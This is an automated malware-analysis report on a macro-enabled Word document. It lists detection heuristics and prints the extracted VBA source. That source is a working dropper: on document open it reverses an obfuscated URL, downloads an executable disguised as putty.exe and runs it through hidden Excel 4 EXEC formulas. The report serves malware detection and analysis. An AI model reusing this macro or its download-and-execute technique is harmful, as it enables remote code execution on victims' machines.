MALICIOUS
130
Risk Score
Heuristics 5
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _ -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set ExcelSheet = CreateObject("Excel.Application") -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1437 bytes |
SHA-256: a6f6534d3e14e9e74a5084f39f4da0772f0f998b5b2ba5e44615323744e536fd |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Sub AutoOpen()
Dim ExcelSheet As Object
Dim strMacro As String
Set ExcelSheet = CreateObject("Excel.Application")
Set Workbook = ExcelSheet.workbooks.Add()
Set Worksheets = ExcelSheet.Worksheets
ExcelSheet.DisplayAlerts = False
ExcelSheet.Application.Visible = 0
Worksheets.Add Before:=Worksheets(1), Count:=1, Type:=4
On Error Resume Next
ExcelSheet.Range("A1").Name = "ok"
ExcelSheet.Range("A108").Value = StrReverse("exe.yttup/23w/tsetal/yttup/mahtatgs~/il.htrae.eht//:sptth")
URLDownloadToFile 0, ExcelSheet.Range("A108").Value, "C:\ProgramData\putty.exe", 0, 0
ExcelSheet.Range("A109") = "=WAIT(NOW()+""00:00:6"")"
ExcelSheet.Range("A111") = "=EXEC(""C:\ProgramData\putty.exe"")"
ExcelSheet.Sheets(1).Visible = 2
strMacro = "ok"
ExcelSheet.Run (strMacro)
ExcelSheet.Application.Quit
Set ExcelSheet = Nothing
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 18432 bytes |
SHA-256: e1a1d98145f2e244dbbf94d35cf3cb3b685e38d4b55d16882bf89171f47b72d3 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.